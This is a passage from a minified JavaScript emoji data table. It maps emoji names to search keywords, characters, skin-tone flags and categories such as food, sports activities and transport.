{keywords:["thunder","weather","lightning bolt","fast"],char:"⚡",fitzpatrick_scale:false,category:"animals_and_nature"},fire:{keywords:["hot","cook","flame"],char:"🔥",fitzpatrick_scale:false,category:"animals_and_nature"},boom:{keywords:["bomb","explode","explosion","collision","blown"],char:"💥",fitzpatrick_scale:false,category:"animals_and_nature"},snowflake:{keywords:["winter","season","cold","weather","christmas","xmas"],char:"❄️",fitzpatrick_scale:false,category:"animals_and_nature"},cloud_with_snow:{keywords:["weather"],char:"🌨",fitzpatrick_scale:false,category:"animals_and_nature"},snowman:{keywords:["winter","season","cold","weather","christmas","xmas","frozen","without_snow"],char:"⛄",fitzpatrick_scale:false,category:"animals_and_nature"},snowman_with_snow:{keywords:["winter","season","cold","weather","christmas","xmas","frozen"],char:"☃",fitzpatrick_scale:false,category:"animals_and_nature"},wind_face:{keywords:["gust","air"],char:"🌬",fitzpatrick_scale:false,category:"animals_and_nature"},dash:{keywords:["wind","air","fast","shoo","fart","smoke","puff"],char:"💨",fitzpatrick_scale:false,category:"animals_and_nature"},tornado:{keywords:["weather","cyclone","twister"],char:"🌪",fitzpatrick_scale:false,category:"animals_and_nature"},fog:{keywords:["weather"],char:"🌫",fitzpatrick_scale:false,category:"animals_and_nature"},open_umbrella:{keywords:["weather","spring"],char:"☂",fitzpatrick_scale:false,category:"animals_and_nature"},umbrella:{keywords:["rainy","weather","spring"],char:"☔",fitzpatrick_scale:false,category:"animals_and_nature"},droplet:{keywords:["water","drip","faucet","spring"],char:"💧",fitzpatrick_scale:false,category:"animals_and_nature"},sweat_drops:{keywords:["water","drip","oops"],char:"💦",fitzpatrick_scale:false,category:"animals_and_nature"},ocean:{keywords:["sea","water","wave","nature","tsunami","disaster"],char:"🌊",fitzpatrick_scale:false,category:"animals_and_nature"},green_apple:{keywords:["fruit","nature"],char:"🍏",fitzpatrick_scale:false,category:"food_and_drink"},apple:{keywords:["fruit","mac","school"],char:"🍎",fitzpatrick_scale:false,category:"food_and_drink"},pear:{keywords:["fruit","nature","food"],char:"🍐",fitzpatrick_scale:false,category:"food_and_drink"},tangerine:{keywords:["food","fruit","nature","orange"],char:"🍊",fitzpatrick_scale:false,category:"food_and_drink"},lemon:{keywords:["fruit","nature"],char:"🍋",fitzpatrick_scale:false,category:"food_and_drink"},banana:{keywords:["fruit","food","monkey"],char:"🍌",fitzpatrick_scale:false,category:"food_and_drink"},watermelon:{keywords:["fruit","food","picnic","summer"],char:"🍉",fitzpatrick_scale:false,category:"food_and_drink"},grapes:{keywords:["fruit","food","wine"],char:"🍇",fitzpatrick_scale:false,category:"food_and_drink"},strawberry:{keywords:["fruit","food","nature"],char:"🍓",fitzpatrick_scale:false,category:"food_and_drink"},melon:{keywords:["fruit","nature","food"],char:"🍈",fitzpatrick_scale:false,category:"food_and_drink"},cherries:{keywords:["food","fruit"],char:"🍒",fitzpatrick_scale:false,category:"food_and_drink"},peach:{keywords:["fruit","nature","food"],char:"🍑",fitzpatrick_scale:false,category:"food_and_drink"},pineapple:{keywords:["fruit","nature","food"],char:"🍍",fitzpatrick_scale:false,category:"food_and_drink"},coconut:{keywords:["fruit","nature","food","palm"],char:"🥥",fitzpatrick_scale:false,category:"food_and_drink"},kiwi_fruit:{keywords:["fruit","food"],char:"🥝",fitzpatrick_scale:false,category:"food_and_drink"},mango:{keywords:["fruit","food","tropical"],char:"🥭",fitzpatrick_scale:false,category:"food_and_drink"},avocado:{keywords:["fruit","food"],char:"🥑",fitzpatrick_scale:false,category:"food_and_drink"},broccoli:{keywords:["fruit","food","vegetable"],char:"🥦",fitzpatrick_scale:false,category:"food_and_drink"},tomato:{keywords:["fruit","vegetable","nature","food"],char:"🍅",fitzpatrick_scale:false,category:"food_and_drink"},eggplant:{keywords:["vegetable","nature","food","aubergine"],char:"🍆",fitzpatrick_scale:false,category:"food_and_drink"},cucumber:{keywords:["fruit","food","pickle"],char:"🥒",fitzpatrick_scale:false,category:"food_and_drink"},carrot:{keywords:["vegetable","food","orange"],char:"🥕",fitzpatrick_scale:false,category:"food_and_drink"},hot_pepper:{keywords:["food","spicy","chilli","chili"],char:"🌶",fitzpatrick_scale:false,category:"food_and_drink"},potato:{keywords:["food","tuber","vegatable","starch"],char:"🥔",fitzpatrick_scale:false,category:"food_and_drink"},corn:{keywords:["food","vegetable","plant"],char:"🌽",fitzpatrick_scale:false,category:"food_and_drink"},leafy_greens:{keywords:["food","vegetable","plant","bok choy","cabbage","kale","lettuce"],char:"🥬",fitzpatrick_scale:false,category:"food_and_drink"},sweet_potato:{keywords:["food","nature"],char:"🍠",fitzpatrick_scale:false,category:"food_and_drink"},peanuts:{keywords:["food","nut"],char:"🥜",fitzpatrick_scale:false,category:"food_and_drink"},honey_pot:{keywords:["bees","sweet","kitchen"],char:"🍯",fitzpatrick_scale:false,category:"food_and_drink"},croissant:{keywords:["food","bread","french"],char:"🥐",fitzpatrick_scale:false,category:"food_and_drink"},bread:{keywords:["food","wheat","breakfast","toast"],char:"🍞",fitzpatrick_scale:false,category:"food_and_drink"},baguette_bread:{keywords:["food","bread","french"],char:"🥖",fitzpatrick_scale:false,category:"food_and_drink"},bagel:{keywords:["food","bread","bakery","schmear"],char:"🥯",fitzpatrick_scale:false,category:"food_and_drink"},pretzel:{keywords:["food","bread","twisted"],char:"🥨",fitzpatrick_scale:false,category:"food_and_drink"},cheese:{keywords:["food","chadder"],char:"🧀",fitzpatrick_scale:false,category:"food_and_drink"},egg:{keywords:["food","chicken","breakfast"],char:"🥚",fitzpatrick_scale:false,category:"food_and_drink"},bacon:{keywords:["food","breakfast","pork","pig","meat"],char:"🥓",fitzpatrick_scale:false,category:"food_and_drink"},steak:{keywords:["food","cow","meat","cut","chop","lambchop","porkchop"],char:"🥩",fitzpatrick_scale:false,category:"food_and_drink"},pancakes:{keywords:["food","breakfast","flapjacks","hotcakes"],char:"🥞",fitzpatrick_scale:false,category:"food_and_drink"},poultry_leg:{keywords:["food","meat","drumstick","bird","chicken","turkey"],char:"🍗",fitzpatrick_scale:false,category:"food_and_drink"},meat_on_bone:{keywords:["good","food","drumstick"],char:"🍖",fitzpatrick_scale:false,category:"food_and_drink"},bone:{keywords:["skeleton"],char:"🦴",fitzpatrick_scale:false,category:"food_and_drink"},fried_shrimp:{keywords:["food","animal","appetizer","summer"],char:"🍤",fitzpatrick_scale:false,category:"food_and_drink"},fried_egg:{keywords:["food","breakfast","kitchen","egg"],char:"🍳",fitzpatrick_scale:false,category:"food_and_drink"},hamburger:{keywords:["meat","fast food","beef","cheeseburger","mcdonalds","burger king"],char:"🍔",fitzpatrick_scale:false,category:"food_and_drink"},fries:{keywords:["chips","snack","fast food"],char:"🍟",fitzpatrick_scale:false,category:"food_and_drink"},stuffed_flatbread:{keywords:["food","flatbread","stuffed","gyro"],char:"🥙",fitzpatrick_scale:false,category:"food_and_drink"},hotdog:{keywords:["food","frankfurter"],char:"🌭",fitzpatrick_scale:false,category:"food_and_drink"},pizza:{keywords:["food","party"],char:"🍕",fitzpatrick_scale:false,category:"food_and_drink"},sandwich:{keywords:["food","lunch","bread"],char:"🥪",fitzpatrick_scale:false,category:"food_and_drink"},canned_food:{keywords:["food","soup"],char:"🥫",fitzpatrick_scale:false,category:"food_and_drink"},spaghetti:{keywords:["food","italian","noodle"],char:"🍝",fitzpatrick_scale:false,category:"food_and_drink"},taco:{keywords:["food","mexican"],char:"🌮",fitzpatrick_scale:false,category:"food_and_drink"},burrito:{keywords:["food","mexican"],char:"🌯",fitzpatrick_scale:false,category:"food_and_drink"},green_salad:{keywords:["food","healthy","lettuce"],char:"🥗",fitzpatrick_scale:false,category:"food_and_drink"},shallow_pan_of_food:{keywords:["food","cooking","casserole","paella"],char:"🥘",fitzpatrick_scale:false,category:"food_and_drink"},ramen:{keywords:["food","japanese","noodle","chopsticks"],char:"🍜",fitzpatrick_scale:false,category:"food_and_drink"},stew:{keywords:["food","meat","soup"],char:"🍲",fitzpatrick_scale:false,category:"food_and_drink"},fish_cake:{keywords:["food","japan","sea","beach","narutomaki","pink","swirl","kamaboko","surimi","ramen"],char:"🍥",fitzpatrick_scale:false,category:"food_and_drink"},fortune_cookie:{keywords:["food","prophecy"],char:"🥠",fitzpatrick_scale:false,category:"food_and_drink"},sushi:{keywords:["food","fish","japanese","rice"],char:"🍣",fitzpatrick_scale:false,category:"food_and_drink"},bento:{keywords:["food","japanese","box"],char:"🍱",fitzpatrick_scale:false,category:"food_and_drink"},curry:{keywords:["food","spicy","hot","indian"],char:"🍛",fitzpatrick_scale:false,category:"food_and_drink"},rice_ball:{keywords:["food","japanese"],char:"🍙",fitzpatrick_scale:false,category:"food_and_drink"},rice:{keywords:["food","china","asian"],char:"🍚",fitzpatrick_scale:false,category:"food_and_drink"},rice_cracker:{keywords:["food","japanese"],char:"🍘",fitzpatrick_scale:false,category:"food_and_drink"},oden:{keywords:["food","japanese"],char:"🍢",fitzpatrick_scale:false,category:"food_and_drink"},dango:{keywords:["food","dessert","sweet","japanese","barbecue","meat"],char:"🍡",fitzpatrick_scale:false,category:"food_and_drink"},shaved_ice:{keywords:["hot","dessert","summer"],char:"🍧",fitzpatrick_scale:false,category:"food_and_drink"},ice_cream:{keywords:["food","hot","dessert"],char:"🍨",fitzpatrick_scale:false,category:"food_and_drink"},icecream:{keywords:["food","hot","dessert","summer"],char:"🍦",fitzpatrick_scale:false,category:"food_and_drink"},pie:{keywords:["food","dessert","pastry"],char:"🥧",fitzpatrick_scale:false,category:"food_and_drink"},cake:{keywords:["food","dessert"],char:"🍰",fitzpatrick_scale:false,category:"food_and_drink"},cupcake:{keywords:["food","dessert","bakery","sweet"],char:"🧁",fitzpatrick_scale:false,category:"food_and_drink"},moon_cake:{keywords:["food","autumn"],char:"🥮",fitzpatrick_scale:false,category:"food_and_drink"},birthday:{keywords:["food","dessert","cake"],char:"🎂",fitzpatrick_scale:false,category:"food_and_drink"},custard:{keywords:["dessert","food"],char:"🍮",fitzpatrick_scale:false,category:"food_and_drink"},candy:{keywords:["snack","dessert","sweet","lolly"],char:"🍬",fitzpatrick_scale:false,category:"food_and_drink"},lollipop:{keywords:["food","snack","candy","sweet"],char:"🍭",fitzpatrick_scale:false,category:"food_and_drink"},chocolate_bar:{keywords:["food","snack","dessert","sweet"],char:"🍫",fitzpatrick_scale:false,category:"food_and_drink"},popcorn:{keywords:["food","movie theater","films","snack"],char:"🍿",fitzpatrick_scale:false,category:"food_and_drink"},dumpling:{keywords:["food","empanada","pierogi","potsticker"],char:"🥟",fitzpatrick_scale:false,category:"food_and_drink"},doughnut:{keywords:["food","dessert","snack","sweet","donut"],char:"🍩",fitzpatrick_scale:false,category:"food_and_drink"},cookie:{keywords:["food","snack","oreo","chocolate","sweet","dessert"],char:"🍪",fitzpatrick_scale:false,category:"food_and_drink"},milk_glass:{keywords:["beverage","drink","cow"],char:"🥛",fitzpatrick_scale:false,category:"food_and_drink"},beer:{keywords:["relax","beverage","drink","drunk","party","pub","summer","alcohol","booze"],char:"🍺",fitzpatrick_scale:false,category:"food_and_drink"},beers:{keywords:["relax","beverage","drink","drunk","party","pub","summer","alcohol","booze"],char:"🍻",fitzpatrick_scale:false,category:"food_and_drink"},clinking_glasses:{keywords:["beverage","drink","party","alcohol","celebrate","cheers","wine","champagne","toast"],char:"🥂",fitzpatrick_scale:false,category:"food_and_drink"},wine_glass:{keywords:["drink","beverage","drunk","alcohol","booze"],char:"🍷",fitzpatrick_scale:false,category:"food_and_drink"},tumbler_glass:{keywords:["drink","beverage","drunk","alcohol","liquor","booze","bourbon","scotch","whisky","glass","shot"],char:"🥃",fitzpatrick_scale:false,category:"food_and_drink"},cocktail:{keywords:["drink","drunk","alcohol","beverage","booze","mojito"],char:"🍸",fitzpatrick_scale:false,category:"food_and_drink"},tropical_drink:{keywords:["beverage","cocktail","summer","beach","alcohol","booze","mojito"],char:"🍹",fitzpatrick_scale:false,category:"food_and_drink"},champagne:{keywords:["drink","wine","bottle","celebration"],char:"🍾",fitzpatrick_scale:false,category:"food_and_drink"},sake:{keywords:["wine","drink","drunk","beverage","japanese","alcohol","booze"],char:"🍶",fitzpatrick_scale:false,category:"food_and_drink"},tea:{keywords:["drink","bowl","breakfast","green","british"],char:"🍵",fitzpatrick_scale:false,category:"food_and_drink"},cup_with_straw:{keywords:["drink","soda"],char:"🥤",fitzpatrick_scale:false,category:"food_and_drink"},coffee:{keywords:["beverage","caffeine","latte","espresso"],char:"☕",fitzpatrick_scale:false,category:"food_and_drink"},baby_bottle:{keywords:["food","container","milk"],char:"🍼",fitzpatrick_scale:false,category:"food_and_drink"},salt:{keywords:["condiment","shaker"],char:"🧂",fitzpatrick_scale:false,category:"food_and_drink"},spoon:{keywords:["cutlery","kitchen","tableware"],char:"🥄",fitzpatrick_scale:false,category:"food_and_drink"},fork_and_knife:{keywords:["cutlery","kitchen"],char:"🍴",fitzpatrick_scale:false,category:"food_and_drink"},plate_with_cutlery:{keywords:["food","eat","meal","lunch","dinner","restaurant"],char:"🍽",fitzpatrick_scale:false,category:"food_and_drink"},bowl_with_spoon:{keywords:["food","breakfast","cereal","oatmeal","porridge"],char:"🥣",fitzpatrick_scale:false,category:"food_and_drink"},takeout_box:{keywords:["food","leftovers"],char:"🥡",fitzpatrick_scale:false,category:"food_and_drink"},chopsticks:{keywords:["food"],char:"🥢",fitzpatrick_scale:false,category:"food_and_drink"},soccer:{keywords:["sports","football"],char:"⚽",fitzpatrick_scale:false,category:"activity"},basketball:{keywords:["sports","balls","NBA"],char:"🏀",fitzpatrick_scale:false,category:"activity"},football:{keywords:["sports","balls","NFL"],char:"🏈",fitzpatrick_scale:false,category:"activity"},baseball:{keywords:["sports","balls"],char:"⚾",fitzpatrick_scale:false,category:"activity"},softball:{keywords:["sports","balls"],char:"🥎",fitzpatrick_scale:false,category:"activity"},tennis:{keywords:["sports","balls","green"],char:"🎾",fitzpatrick_scale:false,category:"activity"},volleyball:{keywords:["sports","balls"],char:"🏐",fitzpatrick_scale:false,category:"activity"},rugby_football:{keywords:["sports","team"],char:"🏉",fitzpatrick_scale:false,category:"activity"},flying_disc:{keywords:["sports","frisbee","ultimate"],char:"🥏",fitzpatrick_scale:false,category:"activity"},"8ball":{keywords:["pool","hobby","game","luck","magic"],char:"🎱",fitzpatrick_scale:false,category:"activity"},golf:{keywords:["sports","business","flag","hole","summer"],char:"⛳",fitzpatrick_scale:false,category:"activity"},golfing_woman:{keywords:["sports","business","woman","female"],char:"🏌️‍♀️",fitzpatrick_scale:false,category:"activity"},golfing_man:{keywords:["sports","business"],char:"🏌",fitzpatrick_scale:true,category:"activity"},ping_pong:{keywords:["sports","pingpong"],char:"🏓",fitzpatrick_scale:false,category:"activity"},badminton:{keywords:["sports"],char:"🏸",fitzpatrick_scale:false,category:"activity"},goal_net:{keywords:["sports"],char:"🥅",fitzpatrick_scale:false,category:"activity"},ice_hockey:{keywords:["sports"],char:"🏒",fitzpatrick_scale:false,category:"activity"},field_hockey:{keywords:["sports"],char:"🏑",fitzpatrick_scale:false,category:"activity"},lacrosse:{keywords:["sports","ball","stick"],char:"🥍",fitzpatrick_scale:false,category:"activity"},cricket:{keywords:["sports"],char:"🏏",fitzpatrick_scale:false,category:"activity"},ski:{keywords:["sports","winter","cold","snow"],char:"🎿",fitzpatrick_scale:false,category:"activity"},skier:{keywords:["sports","winter","snow"],char:"⛷",fitzpatrick_scale:false,category:"activity"},snowboarder:{keywords:["sports","winter"],char:"🏂",fitzpatrick_scale:true,category:"activity"},person_fencing:{keywords:["sports","fencing","sword"],char:"🤺",fitzpatrick_scale:false,category:"activity"},women_wrestling:{keywords:["sports","wrestlers"],char:"🤼‍♀️",fitzpatrick_scale:false,category:"activity"},men_wrestling:{keywords:["sports","wrestlers"],char:"🤼‍♂️",fitzpatrick_scale:false,category:"activity"},woman_cartwheeling:{keywords:["gymnastics"],char:"🤸‍♀️",fitzpatrick_scale:true,category:"activity"},man_cartwheeling:{keywords:["gymnastics"],char:"🤸‍♂️",fitzpatrick_scale:true,category:"activity"},woman_playing_handball:{keywords:["sports"],char:"🤾‍♀️",fitzpatrick_scale:true,category:"activity"},man_playing_handball:{keywords:["sports"],char:"🤾‍♂️",fitzpatrick_scale:true,category:"activity"},ice_skate:{keywords:["sports"],char:"⛸",fitzpatrick_scale:false,category:"activity"},curling_stone:{keywords:["sports"],char:"🥌",fitzpatrick_scale:false,category:"activity"},skateboard:{keywords:["board"],char:"🛹",fitzpatrick_scale:false,category:"activity"},sled:{keywords:["sleigh","luge","toboggan"],char:"🛷",fitzpatrick_scale:false,category:"activity"},bow_and_arrow:{keywords:["sports"],char:"🏹",fitzpatrick_scale:false,category:"activity"},fishing_pole_and_fish:{keywords:["food","hobby","summer"],char:"🎣",fitzpatrick_scale:false,category:"activity"},boxing_glove:{keywords:["sports","fighting"],char:"🥊",fitzpatrick_scale:false,category:"activity"},martial_arts_uniform:{keywords:["judo","karate","taekwondo"],char:"🥋",fitzpatrick_scale:false,category:"activity"},rowing_woman:{keywords:["sports","hobby","water","ship","woman","female"],char:"🚣‍♀️",fitzpatrick_scale:true,category:"activity"},rowing_man:{keywords:["sports","hobby","water","ship"],char:"🚣",fitzpatrick_scale:true,category:"activity"},climbing_woman:{keywords:["sports","hobby","woman","female","rock"],char:"🧗‍♀️",fitzpatrick_scale:true,category:"activity"},climbing_man:{keywords:["sports","hobby","man","male","rock"],char:"🧗‍♂️",fitzpatrick_scale:true,category:"activity"},swimming_woman:{keywords:["sports","exercise","human","athlete","water","summer","woman","female"],char:"🏊‍♀️",fitzpatrick_scale:true,category:"activity"},swimming_man:{keywords:["sports","exercise","human","athlete","water","summer"],char:"🏊",fitzpatrick_scale:true,category:"activity"},woman_playing_water_polo:{keywords:["sports","pool"],char:"🤽‍♀️",fitzpatrick_scale:true,category:"activity"},man_playing_water_polo:{keywords:["sports","pool"],char:"🤽‍♂️",fitzpatrick_scale:true,category:"activity"},woman_in_lotus_position:{keywords:["woman","female","meditation","yoga","serenity","zen","mindfulness"],char:"🧘‍♀️",fitzpatrick_scale:true,category:"activity"},man_in_lotus_position:{keywords:["man","male","meditation","yoga","serenity","zen","mindfulness"],char:"🧘‍♂️",fitzpatrick_scale:true,category:"activity"},surfing_woman:{keywords:["sports","ocean","sea","summer","beach","woman","female"],char:"🏄‍♀️",fitzpatrick_scale:true,category:"activity"},surfing_man:{keywords:["sports","ocean","sea","summer","beach"],char:"🏄",fitzpatrick_scale:true,category:"activity"},bath:{keywords:["clean","shower","bathroom"],char:"🛀",fitzpatrick_scale:true,category:"activity"},basketball_woman:{keywords:["sports","human","woman","female"],char:"⛹️‍♀️",fitzpatrick_scale:true,category:"activity"},basketball_man:{keywords:["sports","human"],char:"⛹",fitzpatrick_scale:true,category:"activity"},weight_lifting_woman:{keywords:["sports","training","exercise","woman","female"],char:"🏋️‍♀️",fitzpatrick_scale:true,category:"activity"},weight_lifting_man:{keywords:["sports","training","exercise"],char:"🏋",fitzpatrick_scale:true,category:"activity"},biking_woman:{keywords:["sports","bike","exercise","hipster","woman","female"],char:"🚴‍♀️",fitzpatrick_scale:true,category:"activity"},biking_man:{keywords:["sports","bike","exercise","hipster"],char:"🚴",fitzpatrick_scale:true,category:"activity"},mountain_biking_woman:{keywords:["transportation","sports","human","race","bike","woman","female"],char:"🚵‍♀️",fitzpatrick_scale:true,category:"activity"},mountain_biking_man:{keywords:["transportation","sports","human","race","bike"],char:"🚵",fitzpatrick_scale:true,category:"activity"},horse_racing:{keywords:["animal","betting","competition","gambling","luck"],char:"🏇",fitzpatrick_scale:true,category:"activity"},business_suit_levitating:{keywords:["suit","business","levitate","hover","jump"],char:"🕴",fitzpatrick_scale:true,category:"activity"},trophy:{keywords:["win","award","contest","place","ftw","ceremony"],char:"🏆",fitzpatrick_scale:false,category:"activity"},running_shirt_with_sash:{keywords:["play","pageant"],char:"🎽",fitzpatrick_scale:false,category:"activity"},medal_sports:{keywords:["award","winning"],char:"🏅",fitzpatrick_scale:false,category:"activity"},medal_military:{keywords:["award","winning","army"],char:"🎖",fitzpatrick_scale:false,category:"activity"},"1st_place_medal":{keywords:["award","winning","first"],char:"🥇",fitzpatrick_scale:false,category:"activity"},"2nd_place_medal":{keywords:["award","second"],char:"🥈",fitzpatrick_scale:false,category:"activity"},"3rd_place_medal":{keywords:["award","third"],char:"🥉",fitzpatrick_scale:false,category:"activity"},reminder_ribbon:{keywords:["sports","cause","support","awareness"],char:"🎗",fitzpatrick_scale:false,category:"activity"},rosette:{keywords:["flower","decoration","military"],char:"🏵",fitzpatrick_scale:false,category:"activity"},ticket:{keywords:["event","concert","pass"],char:"🎫",fitzpatrick_scale:false,category:"activity"},tickets:{keywords:["sports","concert","entrance"],char:"🎟",fitzpatrick_scale:false,category:"activity"},performing_arts:{keywords:["acting","theater","drama"],char:"🎭",fitzpatrick_scale:false,category:"activity"},art:{keywords:["design","paint","draw","colors"],char:"🎨",fitzpatrick_scale:false,category:"activity"},circus_tent:{keywords:["festival","carnival","party"],char:"🎪",fitzpatrick_scale:false,category:"activity"},woman_juggling:{keywords:["juggle","balance","skill","multitask"],char:"🤹‍♀️",fitzpatrick_scale:true,category:"activity"},man_juggling:{keywords:["juggle","balance","skill","multitask"],char:"🤹‍♂️",fitzpatrick_scale:true,category:"activity"},microphone:{keywords:["sound","music","PA","sing","talkshow"],char:"🎤",fitzpatrick_scale:false,category:"activity"},headphones:{keywords:["music","score","gadgets"],char:"🎧",fitzpatrick_scale:false,category:"activity"},musical_score:{keywords:["treble","clef","compose"],char:"🎼",fitzpatrick_scale:false,category:"activity"},musical_keyboard:{keywords:["piano","instrument","compose"],char:"🎹",fitzpatrick_scale:false,category:"activity"},drum:{keywords:["music","instrument","drumsticks","snare"],char:"🥁",fitzpatrick_scale:false,category:"activity"},saxophone:{keywords:["music","instrument","jazz","blues"],char:"🎷",fitzpatrick_scale:false,category:"activity"},trumpet:{keywords:["music","brass"],char:"🎺",fitzpatrick_scale:false,category:"activity"},guitar:{keywords:["music","instrument"],char:"🎸",fitzpatrick_scale:false,category:"activity"},violin:{keywords:["music","instrument","orchestra","symphony"],char:"🎻",fitzpatrick_scale:false,category:"activity"},clapper:{keywords:["movie","film","record"],char:"🎬",fitzpatrick_scale:false,category:"activity"},video_game:{keywords:["play","console","PS4","controller"],char:"🎮",fitzpatrick_scale:false,category:"activity"},space_invader:{keywords:["game","arcade","play"],char:"👾",fitzpatrick_scale:false,category:"activity"},dart:{keywords:["game","play","bar","target","bullseye"],char:"🎯",fitzpatrick_scale:false,category:"activity"},game_die:{keywords:["dice","random","tabletop","play","luck"],char:"🎲",fitzpatrick_scale:false,category:"activity"},chess_pawn:{keywords:["expendable"],char:"♟",fitzpatrick_scale:false,category:"activity"},slot_machine:{keywords:["bet","gamble","vegas","fruit machine","luck","casino"],char:"🎰",fitzpatrick_scale:false,category:"activity"},jigsaw:{keywords:["interlocking","puzzle","piece"],char:"🧩",fitzpatrick_scale:false,category:"activity"},bowling:{keywords:["sports","fun","play"],char:"🎳",fitzpatrick_scale:false,category:"activity"},red_car:{keywords:["red","transportation","vehicle"],char:"🚗",fitzpatrick_scale:false,category:"travel_and_places"},taxi:{keywords:["uber","vehicle","cars","transportation"],char:"🚕",fitzpatrick_scale:false,category:"travel_and_places"},blue_car:{keywords:["transportation","vehicle"],char:"🚙",fitzpatrick_scale:false,category:"travel_and_places"},bus:{keywords:["car","vehicle","transportation"],char:"🚌",fitzpatrick_scale:false,category:"travel_and_places"},trolleybus:{keywords:["bart","transportation","vehicle"],char:"🚎",fitzpatrick_scale:false,category:"travel_and_places"},racing_car:{keywords:["sports","race","fast","formula","f1"],char:"🏎",fitzpatrick_scale:false,category:"travel_and_places"},police_car:{keywords:["vehicle","cars","transportation","law","legal","enforcement"],char:"🚓",fitzpatrick_scale:false,category:"travel_and_places"},ambulance:{keywords:["health","911","hospital"],char:"🚑",fitzpatrick_scale:false,category:"travel_and_places"},fire_engine:{keywords:["transportation","cars","vehicle"],char:"🚒",fitzpatrick_scale:false,category:"travel_and_places"},minibus:{keywords:["vehicle","car","transportation"],char:"🚐",fitzpatrick_scale:false,category:"travel_and_places"},truck:{keywords:["cars","transportation"],char:"🚚",fitzpatrick_scale:false,category:"travel_and_places"},articulated_lorry:{keywords:["vehicle","cars","transportation","express"],char:"🚛",fitzpatrick_scale:false,category:"travel_and_places"},tractor:{keywords:["vehicle","car","farming","agriculture"],char:"🚜",fitzpatrick_scale:false,category:"travel_and_places"},kick_scooter:{keywords:["vehicle","kick","razor"],char:"🛴",fitzpatrick_scale:false,category:"travel_and_places"},motorcycle:{keywords:["race","sports","fast"],char:"🏍",fitzpatrick_scale:false,category:"travel_and_places"},bike:{keywords:["sports","bicycle","exercise","hipster"],char:"🚲",fitzpatrick_scale:false,category:"travel_and_places"},motor_scooter:{keywords:["vehicle","vespa","sasha"],char:"🛵",fitzpatrick_scale:false,category:"travel_and_places"},rotating_light:{keywords:["police","ambulance","911","emergency","alert","error","pinged","law","legal"],char:"🚨",fitzpatrick_scale:false,category:"travel_and_places"},oncoming_police_car:{keywords:["vehicle","law","legal","enforcement","911"],char:"🚔",fitzpatrick_scale:false,category:"travel_and_places"},oncoming_bus:{keywords:["vehicle","transportation"],char:"🚍",fitzpatrick_scale:false,category:"travel_and_places"},oncoming_automobile:{keywords:["car","vehicle","transportation"],char:"🚘",fitzpatrick_scale:false,category:"travel_and_places"},oncoming_taxi:{keywords:["vehicle","cars","uber"],char:"🚖",fitzpatrick_scale:false,category:"travel_and_places"},aerial_tramway:{keywords:["transportation","vehicle","ski"],char:"🚡",fitzpatrick_scale:false,category:"travel_and_places"},mountain_cableway:{keywords:["transportation","vehicle","ski"],char:"🚠",fitzpatrick_scale:false,category:"travel_and_places"},suspension_railway:{keywords:["vehicle","transportation"],char:"🚟",fitzpatrick_scale:false,category:"travel_and_places"},railway_car:{keywords:["transportation","vehicle"],char:"🚃",fitzpatrick_scale:false,category:"travel_and_places"},train:{keywords:["transportation","vehicle","carriage","public","travel"],char:"🚋",fitzpatrick_scale:false,category:"travel_and_places"},monorail:{keywords:["transportation","vehicle"],char:"🚝",fitzpatrick_scale:false,category:"travel_and_places"},bullettrain_side:{keywords:["transportation","vehicle"],char:"🚄",fitzpatrick_scale:false,category:"travel_and_places"},bullettrain_front:{keywords:["transportation","vehicle","speed","fast","public","travel"],char:"🚅",fitzpatrick_scale:false,category:"travel_and_places"},light_rail:{keywords:["transportation","vehicle"],char:"🚈",fitzpatrick_scale:false,category:"travel_and_places"},mountain_railway:{keywords:["transportation","vehicle"],char:"🚞",fitzpatrick_scale:false,category:"travel_and_places"},steam_locomotive:{keywords:["transportation","vehicle","train"],char:"🚂",fitzpatrick_scale:false,category:"travel_and_places"},train2:{keywords:["transportation","vehicle"],char:"🚆",fitzpatrick_scale:false,category:"travel_and_places"},metro:{keywords:["transportation","blue-square","mrt","underground","tube"],char:"🚇",fitzpatrick_scale:false,category:"travel_and_places"},tram:{keywords:["transportation","vehicle"],char:"🚊",fitzpatrick_scale:false,category:"travel_and_places"},station:{keywords:["transportation","vehicle","public"],char:"🚉",fitzpatrick_scale:false,category:"travel_and_places"},flying_saucer:{keywords:["transportation","vehicle","ufo"],char:"🛸",fitzpatrick_scale:false,category:"travel_and_places"},helicopter:{keywords:["transportation","vehicle","fly"],char:"🚁",fitzpatrick_scale:false,category:"travel_and_places"},small_airplane:{keywords:["flight","transportation","fly","vehicle"],char:"🛩",fitzpatrick_scale:false,category:"travel_and_places"},airplane:{keywords:["vehicle","transportation","flight","fly"],char:"✈️",fitzpatrick_scale:false,category:"travel_and_places"},flight_departure:{keywords:["airport","flight","landing"],char:"🛫",fitzpatrick_scale:false,category:"travel_and_places"},flight_arrival:{keywords:["airport","flight","boarding"],char:"🛬",fitzpatrick_scale:false,category:"travel_and_places"},sailboat:{keywords:["ship","summer","transportation","water","sailing"],char:"⛵",fitzpatrick_scale:false,category:"travel_and_places"},motor_boat:{keywords:["ship"],char:"🛥",fitzpatrick_scale:false,category:"travel_and_places"},speedboat:{keywords:["ship","transportation","vehicle","summer"],char:"🚤",fitzpatrick_scale:false,category:"travel_and_places"},ferry:{keywords:["boat","ship","yacht"],char:"⛴",fitzpatrick_scale:false,category:"travel_and_places"},passenger_ship:{keywords:["yacht","cruise","ferry"],char:"🛳",fitzpatrick_scale:false,category:"travel_and_places"},rocket:{keywords:["launch","ship","staffmode","NASA","outer space","outer_space","fly"],char:"🚀",fitzpatrick_scale:false,category:"travel_and_places"},artificial_satellite:{keywords:["communication","gps","orbit","spaceflight","NASA","ISS"],char:"🛰",fitzpatrick_scale:false,category:"travel_and_places"},seat:{keywords:["sit","airplane","transport","bus","flight","fly"],char:"💺",fitzpatrick_scale:false,category:"travel_and_places"},canoe:{keywords:["boat","paddle","water","ship"],char:"🛶",fitzpatrick_scale:false,category:"travel_and_places"},anchor:{keywords:["ship","ferry","sea","boat"],char:"⚓",fitzpatrick_scale:false,category:"travel_and_places"},construction:{keywords:["wip","progress","caution","warning"],char:"🚧",fitzpatrick_scale:false,category:"travel_and_places"},fuelpump:{keywords:["gas 